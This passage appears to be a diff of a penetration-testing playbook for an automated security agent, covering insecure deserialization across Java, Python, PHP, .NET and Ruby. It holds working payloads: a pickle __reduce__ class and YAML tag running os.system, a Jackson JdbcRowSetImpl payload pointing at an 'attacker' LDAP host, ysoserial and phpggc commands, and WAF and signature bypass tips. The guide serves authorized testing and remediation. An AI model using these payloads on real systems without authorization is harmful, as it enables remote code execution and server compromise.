pickle.loads unserialize( ObjectInputStream BinaryFormatter
|
|
42
|
+
yaml.load readObject( TypeNameHandling Marshal.load
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
## Key Vulnerabilities
|
|
46
|
+
|
|
47
|
+
### Java Deserialization
|
|
48
|
+
|
|
49
|
+
**Gadget Chains**
|
|
50
|
+
- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
|
|
51
|
+
- Tools: ysoserial (authorized testing only), manual chain selection by classpath
|
|
52
|
+
|
|
53
|
+
**Test Flow**
|
|
54
|
+
1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
|
|
55
|
+
2. Fingerprint library versions from errors, headers, or bundled libs
|
|
56
|
+
3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
|
|
57
|
+
|
|
58
|
+
**Jackson / JSON Typing**
|
|
59
|
+
```json
|
|
60
|
+
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
|
|
61
|
+
```
|
|
62
|
+
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
|
|
63
|
+
|
|
64
|
+
**JNDI Pivots from Object Construction**
|
|
65
|
+
|
|
66
|
+
JNDI injection is not itself a serialization format. It becomes part of this workflow when an attacker-selected type, setter, or gadget performs `Context.lookup()` during object construction or property population. `JdbcRowSetImpl` and some historical polymorphic JSON chains are examples; Log4j lookups reach JNDI through a different input path and should not be classified as deserialization.
|
|
67
|
+
|
|
68
|
+
- Trace fields such as `dataSourceName`, `jndiName`, and `namingURL` into the exact lookup API and provider.
|
|
69
|
+
- Record the accepted schemes/provider factories (`ldap`, `ldaps`, `rmi`, DNS URL context, or application-specific naming providers). A `dns://` value is not a universal oracle; it works only when the relevant DNS provider and lookup path are present.
|
|
70
|
+
- Separate network lookup, remote object/reference processing, serialized LDAP attributes, remote codebase loading, and local object-factory invocation. Each is a different capability with different runtime controls.
|
|
71
|
+
- JEP 290 filters incoming Java serialization graphs; it does not disable JNDI remote codebase loading. JNDI providers gained separate remote-class-loading and serialized-data controls across JDK updates, and current JDKs disable remote code downloading by default. Record the exact JDK build and relevant provider properties instead of using a single “modern Java” rule.
|
|
72
|
+
- When remote class loading is unavailable, test whether the returned reference can reach a compatible **local** `ObjectFactory`, bean-property path, expression engine, script engine, or other class already present. Confirm exact class names, versions, module access, and trigger methods from the deployed classpath.
|
|
73
|
+
|
|
74
|
+
**Hessian / Burlap**
|
|
75
|
+
- Binary RPC formats deserialized by `HessianInput`/`Hessian2Input`. Attacker object graphs reach gadgets even though it is not native Java serialization.
|
|
76
|
+
- Treat serializer version, allowed type metadata, constructors/setters invoked, collection/comparator behavior, and classpath as independent prerequisites.
|
|
77
|
+
- Pair `semantic_confusion` when a proxy or route policy is expected to make the RPC endpoint unreachable.
|
|
78
|
+
- Inspect the exact deployed libraries rather than relying on generic gadget labels; similar-looking Spring, Resin, Tomcat, XBean, EL, or Groovy classes are not interchangeable.
|
|
79
|
+
|
|
80
|
+
### Python Pickle
|
|
81
|
+
|
|
82
|
+
Pickle executes arbitrary code during unpickling by design:
|
|
83
|
+
```python
|
|
84
|
+
import pickle, os, base64
|
|
85
|
+
class Exploit:
|
|
86
|
+
def __reduce__(self):
|
|
87
|
+
return (os.system, ('id',))
|
|
88
|
+
# base64 encode pickle.dumps(Exploit()) and send as cookie/param
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
**YAML**
|
|
92
|
+
```yaml
|
|
93
|
+
!!python/object/apply:os.system ['id']
|
|
94
|
+
```
|
|
95
|
+
When `yaml.load` used instead of `yaml.safe_load`.
|
|
96
|
+
|
|
97
|
+
### PHP unserialize()
|
|
98
|
+
|
|
99
|
+
**Object Injection**
|
|
100
|
+
- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`
|
|
101
|
+
- POP chains through framework classes (Laravel, Symfony, WordPress plugins)
|
|
102
|
+
|
|
103
|
+
**Phar Deserialization**
|
|
104
|
+
- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations
|
|
105
|
+
|
|
106
|
+
### .NET Deserialization
|
|
107
|
+
|
|
108
|
+
**BinaryFormatter / LosFormatter**
|
|
109
|
+
- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
|
|
110
|
+
|
|
111
|
+
**Json.NET**
|
|
112
|
+
```json
|
|
113
|
+
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
|
|
114
|
+
```
|
|
115
|
+
When `TypeNameHandling` != `None`.
|
|
116
|
+
|
|
117
|
+
**ViewState**
|
|
118
|
+
- MAC disabled or weak machine keys → forge deserialized view state
|
|
119
|
+
|
|
120
|
+
### Ruby Marshal
|
|
121
|
+
|
|
122
|
+
- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)
|
|
123
|
+
|
|
124
|
+
## Advanced Techniques
|
|
125
|
+
|
|
126
|
+
**Signed Blob Bypass**
|
|
127
|
+
- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
|
|
128
|
+
- Strip signature and test unsigned code paths
|
|
129
|
+
- Length extension on MAC if applicable (older custom schemes)
|
|
130
|
+
|
|
131
|
+
**Second-Order Deserialization**
|
|
132
|
+
- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
|
|
133
|
+
|
|
134
|
+
**Compression Wrappers**
|
|
135
|
+
- Gzip/base64 nested encoding bypassing naive WAF inspection
|
|
136
|
+
|
|
137
|
+
## Testing Methodology
|
|
138
|
+
|
|
139
|
+
1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data
|
|
140
|
+
2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint
|
|
141
|
+
3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
|
|
142
|
+
4. **Gadget selection** — Match classpath/runtime version to available chains
|
|
143
|
+
5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command
|
|
144
|
+
6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early
|
|
145
|
+
|
|
146
|
+
## Validation
|
|
147
|
+
|
|
148
|
+
1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
|
|
149
|
+
2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
|
|
150
|
+
3. Provide encoded payload and exact injection point (cookie name, parameter, header)
|
|
151
|
+
4. Confirm on fixed version or alternate instance that identical payload fails safely
|
|
152
|
+
5. Document library/version and gadget chain class names for remediation
|
|
153
|
+
|
|
154
|
+
## False Positives
|
|
155
|
+
|
|
156
|
+
- Base64 data is encrypted or signed with verified HMAC before deserialization
|
|
157
|
+
- Only primitive types deserialized (whitelist schema, no polymorphic types)
|
|
158
|
+
- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation
|
|
159
|
+
- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
|
|
160
|
+
- Error mentions serialization class but input is never passed to unmarshal (dead code path)
|
|
161
|
+
|
|
162
|
+
## Bypass Methods
|
|
163
|
+
|
|
164
|
+
- Encoding layers: base64 → gzip → serialize
|
|
165
|
+
- Alternative parameters storing same session (`session`, `session_backup`, `state`)
|
|
166
|
+
- Switch content-type or parameter location (GET vs POST vs cookie)
|
|
167
|
+
- Type confusion: JSON array vs object hitting different deserializer branches
|
|
168
|
+
- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
|
|
169
|
+
|
|
170
|
+
## Impact
|
|
171
|
+
|
|
172
|
+
- Remote code execution on application servers
|
|
173
|
+
- Authentication bypass via forged session objects
|
|
174
|
+
- Privilege escalation through manipulated role/admin fields in deserialized classes
|
|
175
|
+
- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
|
|
176
|
+
|
|
177
|
+
## Pro Tips
|
|
178
|
+
|
|
179
|
+
1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
|
|
180
|
+
2. Start with DNS/HTTP callback gadgets before command execution in production-like targets
|
|
181
|
+
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
|
|
182
|
+
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
|
|
183
|
+
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
|
|
184
|
+
6. Model JNDI lookup, reference/object processing, remote codebase loading, and local factory invocation as separate stages
|
|
185
|
+
7. A "blocked" enterprise deserialization endpoint may still be reachable through a proxy/path-normalization mismatch — pair `semantic_confusion`
|
|
186
|
+
|
|
187
|
+
## Tooling
|
|
188
|
+
|
|
189
|
+
Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.
|
|
190
|
+
|
|
191
|
+
| Tool | Language / format | Use |
|
|
192
|
+
|------|-------------------|-----|
|
|
193
|
+
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
|
|
194
|
+
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
|
|
195
|
+
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
|
|
196
|
+
| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and JNDI reference tooling | Use only from a reviewed, pinned upstream commit when a non-native Java marshaller requires it. It has no stable release and intentionally bundles historical gadget dependencies; do not treat it as a globally installed default tool. |
|
|
197
|
+
|
|
198
|
+
```
|
|
199
|
+
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
|
|
200
|
+
java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
|
|
201
|
+
|
|
202
|
+
# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
|
|
203
|
+
./phpggc -b Laravel/RCE9 system id
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
|
|
207
|
+
|
|
208
|
+
## Summary
|
|
209
|
+
|
|
210
|
+
Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.
|